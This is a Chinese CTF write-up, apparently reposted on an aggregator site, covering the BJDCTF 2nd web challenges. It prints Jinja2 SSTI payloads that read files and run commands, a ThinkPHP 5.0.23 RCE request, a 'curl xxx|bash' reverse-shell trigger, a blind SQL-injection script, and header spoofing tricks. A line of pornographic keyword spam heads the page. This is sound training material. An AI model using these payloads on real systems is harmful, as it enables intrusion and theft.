日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

【BJDCTF 2nd—Web】做题+复现记录

發布時間:2024/9/30 编程问答 37 豆豆
生活随笔 收集整理的這篇文章主要介紹了 【BJDCTF 2nd—Web】做题+复现记录 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

fake google

隨便輸入然后查看源代碼發現

ssti,應該是服務器模板注入,查了一個payload直接就可以查到flag

{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('/flag').read()}}

其實詳細的做法應該是先去判斷漏洞點,因為這里輸入就回顯,而且不是php,所以就要去猜想是不是ssti,這里出題師傅也給出提示,就是ssti,接下來判斷是什么模板引擎

{{ }}在jinja2中為變量包裹標識符,試一下{{config}}發現有回顯,判斷是jinja2模板

接下來看一下根目錄

{% for c in [].__class__.__base__.__subclasses__() %} {%if%20c.__name__=='catch_warnings'%27'%} {{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}} {%endif%} {% endfor %}


接下來讀一下flag即可

除此之外,還可以使用Tplmap工具來做這道題

python tplmap.py -u http://8f55fac1-eb01-4ab6-898c-e9b8600cb0d8.node3.buuoj.cn//qaq?name= --os-shell


工具介紹

old-hack


thinphp5,百度查了一下漏洞,隨便拉一個payload試試

報錯發現thinkphp版本是5.0.23,直接查詢對應的RCE代碼

http://58d51614-57b0-4e33-90d8-1a430ed45f4b.node3.buuoj.cn/index.php?s=captchaPOST:_method=__construct&filter[]=system&method=get&get[]=whoami


繼續讀取即可

duangShell


提示了是.swp備份文件,所以是Vim文件泄露

http://0b845bf5-dd6e-420d-a3e0-0307d1ec01f3.node3.buuoj.cn/.index.php.swp

使用vim打開

vim -r index.php.swp


過濾很多,而且最后執行的函數是exec,這個函數是無回顯的,所以首先想到反彈shell,使用

curl xxx|bash

觸發反彈shell

看題目說明


在靶機中寫入反彈shell的語句

觸發反彈shell

連接成功

接下來找flag就行了,flag在etc目錄下

find /etc -name flag

簡單注入

先FUZZ一下,看看都過濾了哪些東西

發現單引號、雙引號、=都被ban了,而且select也被ban了,這就要想其他方法了注入了,發現regexp沒有被ban,可以嘗試一下。

那接下來就要想怎么使用regexp注入了,假設語句是這樣的

select username,password from user where username='$user' and password='$pass'

那單引號都被ban了,怎么去繞過,查看剛才FUZZ的測試,發現\沒有被ban,所以可以使用反斜線去將單引號轉義,實現SQL語句逃逸,從而導致SQL注入。

select username,password from user where username='admin\' and password='or 1#'

既然知道了如果繞過了,就使用regexp布爾盲注,腳本如下:

import string import requestsdef ord2hex(string):result = ''for i in string:result += hex(ord(i))result = result.replace('0x','')return '0x'+resulturl = "http://1cad8e11-f1b7-4d3a-a16f-7341b53815bc.node3.buuoj.cn" headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36' } #數字+字母字典 dict = string.ascii_letters + string.digits temp = '' for j in range(50):for i in dict:passwords = ord2hex('^'+temp+i)payload = "or password regexp binary {}#".format(passwords)data = {'username': 'admin\\','password': payload}reponse = requests.post(url=url,headers=headers,data=data)# print(reponse.text)if 'BJD needs' in reponse.text:temp = temp + iprint(temp.ljust(40, '.'))break

這里解釋一下,之所以payload中regexp后要加binary,是因為題目提示了區分大小寫

MySQL中的正則表達式匹配不區分大小寫。
為區分大小寫,可使用BINARY關鍵

還有就是之所以使用ord2hex()這個函數,是因為我們要使用正則表達式^去匹配密碼,但單引號會被ban,所以轉換成16進制,而16進制在SQL執行時會自動變成字符。

感謝Y1ng師傅的解答

假豬套天下第一


一個登陸框,使用萬能密碼能夠登進去,但什么也沒有發現,在用burp抓包的時候發現是302跳轉

進入看一下

之前做過一道題也是考這種設置時間的,看到Expires

一直以為是在這里做修改,還是不熟悉這個參數的意思

Expires 表示存在時間,允許客戶端在這個時間之前不去檢查(發請求)

觀察請求頭的COOKIE中包含了time的時間戳,提示是過99年,那就將當前時間戳加99年試試


這樣第一層就繞過去了,發現下面的提示是localhost,修改XFF

會發現過濾掉了這個XFF,那可以使用Client-IP或者X-Real-IP代替XFF即可

考察Referer,添加即可

添加之后,又出來一個Commodo 64這個,搜索一下

是一種老式電腦系統叫Commodore 64,所以這個應該是標識,修改UA即可

修改好之后,又出現一個emali,查資料發現

添加From

關鍵字代理,再查查資料


base64解碼即可

HTTP Header 詳解

Schro?dinger


一開始一臉懵,不知道要干啥,抓包發現test.php頁面
用戶名為admin,讓我們去得出密碼,這里一開始以為是布爾盲注或時間盲注的,FUZZ測試等都不行,就猜想可能是這個爆破密碼,但也不對,回頭看首頁

把剛才需要輸入密碼的連接在首頁input,爆出密碼

出現這些,點一下check會失敗,抓包發現有一個cookie很特別

base64解碼是一串數字1585230828,應該是時間戳,在線轉換下


確實是,然后又就以為是又要去查找這兩個參數
結果沒弄出來,就看了師傅的WP,發現把這個COOKIE置空再檢查即可

B站查AV號,后面的也是時間戳,查對應的時間即可查出flag

總結

以上是生活随笔為你收集整理的【BJDCTF 2nd—Web】做题+复现记录的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。